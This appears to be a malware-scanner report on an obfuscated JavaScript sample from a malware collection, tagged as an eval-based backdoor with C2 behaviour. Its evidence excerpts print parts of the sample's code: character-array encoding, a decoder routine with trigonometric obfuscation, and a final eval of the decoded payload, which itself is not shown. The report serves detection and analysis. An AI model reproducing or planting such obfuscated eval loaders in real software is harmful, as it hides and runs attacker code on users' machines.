Suspicious ^80% javascript-malware-collection Download

20151217_0bd6a85e28e34b3cadc661f1ef9be794.js

obfuscated eval C2 backdoor

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-2561f4ad00d63fede06f9b9b4e7cd3351dc3dcc37246f6d0df66efefc364cabe3b5

Evidence

Builds characters with String.fromCharCode line 2

2:146… '$','6','[','&',' ','h','=','L','`',';','p','G','n','m','X','3',String.fromCharCode(10),'o','0','/','o','*',']',';','c','W','a','U','r','a','D','/','.','W',String.fromCharCode(13),'K','t',',','G','=','%','Q','&','"','m','[','^','U','U','m','2','m','w','[','c','g','@',']','1','E','m','N','<',']','<','c',':','M','^','Z','[','*','e','`','m','#','/','m','  …

XOR URL reconstruction call line 2

2:1850… 'T','@','<','Q','Y','x','Z','F','3','b','<','E','z','[','v','v',String.fromCharCode(92),'N','H','Y','"','h',']','s','!','^','&','b','I',']','(','*','*','Q','_','f','`','V','x','7','a','j','<','o','c','T','k','/','#','b',':','4','@','@','c','!','i','d','^','w','"','e','z','8','[','j','f','.','6','3','g','n','c',';','`','(','y','I',',','h',')','i','J','W','A','X','^','S','j',';','k …

Calls JavaScript toString conversion method lines 4–11

4:44… xbRwet){XYzm=ZOFmZnCNPFTbXRXKO(rGqWjNkyzJY,kaWwScYbZczzv);IAwVI=XYzm.toString(TrxbRwet);return IAwVI;}
5function NgTryCctDuQXGQk(aAAEdsxClBIeFkasY,XEkkYPXEJmcrUJJcgQatNityieziViMMBt,oKyJISLUWntQOUPnwbbrPyjgAGaMmGzgkUH){eval(aAAEdsxClBIeFkasY);}
6function tANiZgqtRjAijeoGuCJTDtKkAeOHSGwtmSKCQawTmNaIrRaAYjusfc(bOXlivaAYSiDO,iCPXQcKFnNHWxM){ return mlKzBSj[KojEqBDE[ntrii(bOXlivaAYSiDO[iCPXQcKFnNHWxM],(21842+978)/815,(1228+872)/210)]];}
7function GioHwIC(OhxjkKwwLQpZnCmaZhfRSrVGYcVnEfUiMcOq) {return !JSqgmYmGfCa(ljDuXDHMySLWZVJ(OhxjkKwwLQpZnCmaZhfRSrVGYcVnEfUiMcOq)) && uOrzMGNbBUrI(OhxjkKwwLQpZnCmaZhfRSrVGYcVnEfUiMcOq);}
8function JSqgmYmGfCa(kqSkRPdkrqvpip) {return isNaN(kqSkRPdkrqvpip);}
9function uOrzMGNbBUrI(AdwNGCheQpYYm) {return isFinite(AdwNGCheQpYYm);}
10function ZOFmZnCNPFTbXRXKO(lmJDQyvNTI,aVOTFeLUGc) {return parseInt(lmJDQyvNTI,aVOTFeLUGc);}
11function ljDuXDHMySLWZVJ(BMU …

Dense indexed short-token grid lines 12–13

12:33… SLxnbWl,WhAHQwQmJDe) {FYQPIrKIcIljjn[mhJfHuSLxnbWl]=WhAHQwQmJDe;}
13var R = new Array();R[0]=[];R[0][0]='d';R[0][1]='a';R[0][2]='d';R[0][3]='a';R[0][4]='46';R[0][5]='3d';R[0][6]='42';R[0][7]='14';R[0][8]='2l';R[0][9]='14';R[0][10]='25';R[0][11]='14';R[0][12]='16';R[0][13]='47';R[0][14]='3k';R[0][15]='3d';R[0][16]='44';R[0][17]='3g';R[0][18]='3l';R[0][19]='3g';R[0][20]='49';R[0][21]='3 …

Numeric sine-square obfuscation expression lines 19–22

19:30… ],R[4],R[5]];
20var PUozIpItM=[];
21function NNgvaJfIwJkCdRrMo(jipbt){wosDYZAUEVw= '';cOUBtTATxFD=Math.round((Math.pow(Math.sin(618), 2) + Math.pow(Math.cos(618), 2) - 1));while(true){if (cOUBtTATxFD >= (925+11)/156){break;}PUozIpItM[cOUBtTATxFD]=Math.round((Math.pow(Math.sin(21), 2) + Math.pow(Math.cos(21), 2) - 1)); while(true) { if(PUozIpItM[cOUBtTATxFD] > jipbt[cOUBtTATxFD].length-(896+102)/998) { break; } if (GioHwIC(ntrii(jipbt[cOUBtTATxFD][PUozIpItM[cOUBtTATxFD]],(8013+751)/313,(8815+295)/911))) {wosDYZAUEVw += tANiZgqtRjAijeoGuCJTDtKkAeOHSGwtmSKCQawTmNaIrRaAYjusfc([jipbt[cOUBtTATxFD][PUozIpItM[cOUBtTATxFD]]], Math.round((Math.pow(Math.sin(451), 2) + Math.pow(Math.cos(451), 2) - 1)));} PUozIpItM[cOUBtTATxFD]++;}cOUBtTATxFD++;} return wosDYZAUEVw}
22var pVnYBmUJLuIiRzdqchMWBHVdonKKRyQyO = 'sMOPEqMJKqHZaPFvhETJwXTHJbfuWjHrkCEc';var ZSRQRBGgnqurgNSzcTIhvWjvvwqkfCvq = 'pGvtjAoYALhPyUkCgANCFamphZMTyqQpivqg';NgTryCctDuQXGQk(NNgvaJfIwJkCdRrMo(jipbt),pVnYBmUJLuIiRzdqchMWBHVdonKKRyQyO,ZSRQRBGgnqurgNSzcTIhvWjvvwqkfCvq);